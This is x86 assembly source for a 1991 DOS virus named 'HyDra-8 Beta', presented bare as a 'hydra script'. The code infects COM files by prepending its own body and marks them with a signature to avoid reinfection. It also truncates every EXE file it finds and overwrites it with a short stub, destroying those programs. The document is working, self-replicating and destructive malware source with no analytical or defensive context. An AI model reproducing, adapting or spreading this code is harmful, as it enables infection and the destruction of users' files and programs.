hydra script

DATA_1E EQU 80H
DATA_16E EQU 1EFH
DATA_17E EQU 1F2H
DATA_18E EQU 9D9AH

SEG_A SEGMENT BYTE PUBLIC
ASSUME CS:SEG_A, DS:SEG_A


ORG 100h

HYDRA8 PROC FAR

START:
JMP LOC_2 ; (01E2)
DB 59H, 44H, 00H, 00H
DATA_4 DB 'HyDra-8 Beta - Not For Release'
DB '. *.CO?'
DB 0
DATA_7 DW 0, 84FCH
DATA_9 DW 0
DATA_10 DB 0
DB 29 DUP (0)
DATA_11 DB 0
DB 0, 0, 0, 0, 0, 0
DATA_12 DB 0
DB 0, 0, 0, 0, 0, 0
COPYRIGHT DB 'Copyright (c)'
DB ' 1991 by C.A.V.E. '
DATA_13 DB 2AH
DB 2EH, 45H, 58H, 45H, 00H
DATA_14 DB 33H
DB 0C9H, 1EH, 52H,0E8H, 06H, 00H
DB 0E8H, 13H, 00H,0EBH, 36H, 90H
DB 0BEH, 48H, 01H,0BFH, 5AH, 01H
DB 0B9H, 12H, 00H

LOCLOOP_1:
XOR BYTE PTR [SI],0F5H
MOVSB ; Mov [si] to es:[di]
LOOP LOCLOOP_1 ; Loop if cx > 0

RETN
MOV AX,0F00H
INT 10H ; Video display ah=functn 0Fh
; get state, al=mode, bh=page
MOV AH,0
INT 10H ; Video display ah=functn 00h
; set display mode in al
MOV AX,200H
MOV DH,0CH
MOV DL,1FH
INT 10H ; Video display ah=functn 02h
; set cursor location in dx
XOR DX,DX ; Zero register
MOV DX,OFFSET DATA_12
MOV AH,9
INT 21H ; DOS Services ah=function 09h
; display char string at ds:dx
MOV AX,200H
MOV DH,18H
MOV DL,0
INT 10H ; Video display ah=functn 02h
; set cursor location in dx
RETN
MOV AX,4C00H
INT 21H ; DOS Services ah=function 4Ch
; terminate with al=return code
ADD [BP+SI-6563H],AH
CMC ; Complement carry
PUSHF ; Push flags
XCHG DH,CH
MOV DI,DATA_18E
DB 9BH,0F5H,0B2H, 94H, 99H, 81H
DB 0CAH,0D1H
LOC_2:
PUSH AX
MOV AX,CS
ADD AX,1000H
XOR DI,DI ; Zero register
MOV CX,1EFH
MOV SI,OFFSET DS:[100H]
MOV ES,AX
REP MOVSB ; Rep when cx >0 Mov [si] to es:[di]
MOV AH,1AH
MOV DX,OFFSET DATA_10
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
MOV AH,4EH ; 'N'
MOV DX,OFFSET DATA_4+22H
INT 21H ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
JC LOC_6 ; Jump if carry Set
LOC_3:
MOV AH,3DH ; '='
MOV AL,2
MOV DX,OFFSET DATA_11
INT 21H ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
MOV BX,AX
PUSH ES
POP DS
MOV AX,3F00H
MOV CX,0FFFFH
MOV DX,DATA_16E
INT 21H ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
ADD AX,1EFH
MOV CS:DATA_9,AX
CMP WORD PTR DS:DATA_17E,4459H
JNE LOC_4 ; Jump if not equal
MOV AH,3EH ; '>'
INT 21H ; DOS Services ah=function 3Eh
; close file, bx=file handle
PUSH CS
POP DS
MOV AH,4FH ; 'O'
INT 21H ; DOS Services ah=function 4Fh
; find next filename match
JC LOC_7 ; Jump if carry Set
JMP SHORT LOC_3 ; (0204)
LOC_4:
XOR CX,CX ; Zero register
MOV DX,CX
MOV AX,4200H
INT 21H ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
JC LOC_5 ; Jump if carry Set
MOV AH,40H ; '@'
XOR DX,DX ; Zero register
MOV CX,CS:DATA_9
INT 21H ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
LOC_5:
MOV AH,3EH ; '>'
INT 21H ; DOS Services ah=function 3Eh
; close file, bx=file handle
PUSH CS
POP DS
LOC_6:
MOV AH,1AH
MOV DX,DATA_1E
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
JMP SHORT LOC_10 ; (02B0)
DB 90H
LOC_7:
CLC ; Clear carry flag
XOR CX,CX ; Zero register
PUSH DS
PUSH DX
MOV AH,1AH
MOV DX,OFFSET DATA_10
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
MOV DX,OFFSET DATA_13
MOV AH,4EH ; 'N'
XOR CX,CX ; Zero register
INT 21H ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
JC LOC_6 ; Jump if carry Set
LOC_8:
MOV AH,3CH ; '<'
XOR CX,CX ; Zero register
MOV DX,OFFSET DATA_11
INT 21H ; DOS Services ah=function 3Ch
; create/truncate file @ ds:dx
MOV BX,AX
JC LOC_6 ; Jump if carry Set
MOV AX,3D02H
MOV DX,OFFSET DATA_11
INT 21H ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
MOV BX,AX
CLC ; Clear carry flag
XOR DX,DX ; Zero register
MOV AH,40H ; '@'
MOV DX,OFFSET DATA_14
MOV CX,5AH
INT 21H ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
CMP AX,5AH
JB LOC_9 ; Jump if below
MOV AH,3EH ; '>'
INT 21H ; DOS Services ah=function 3Eh
; close file, bx=file handle
JC LOC_9 ; Jump if carry Set
MOV AH,4FH ; 'O'
INT 21H ; DOS Services ah=function 4Fh
; find next filename match
JNC LOC_8 ; Jump if carry=0
LOC_9:
MOV AX,4C00H
INT 21H ; DOS Services ah=function 4Ch
; terminate with al=return code
LOC_10:
XOR DI,DI ; Zero register
MOV SI,OFFSET DATA_15
MOV CX,22H
REP MOVSB ; Rep when cx >0 Mov [si] to es:[di]
POP BX
MOV CS:DATA_7,0
MOV WORD PTR CS:DATA_7+2,ES
POP BX
JMP DWORD PTR CS:DATA_7
DATA_15 DB 1EH
DB 07H,0B9H,0FFH,0FFH,0BEH,0EFH
DB 02H,0BFH, 00H, 01H, 2BH,0CEH
DB 0F3H,0A4H, 2EH,0C7H, 06H, 00H
DB 01H, 00H, 01H, 2EH, 8CH, 1EH
DB 02H, 01H, 8BH,0C3H, 2EH,0FFH
DB 2EH, 00H, 01H,0CDH
DB 20H

HYDRA8 ENDP

SEG_A ENDS



END START